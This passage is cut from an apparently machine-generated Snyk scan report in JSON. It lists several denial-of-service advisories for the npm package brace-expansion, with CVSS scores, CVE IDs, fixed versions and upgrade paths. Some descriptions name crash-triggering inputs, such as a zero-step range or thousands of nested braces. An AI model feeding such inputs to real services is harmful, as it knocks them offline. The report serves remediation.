"moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { 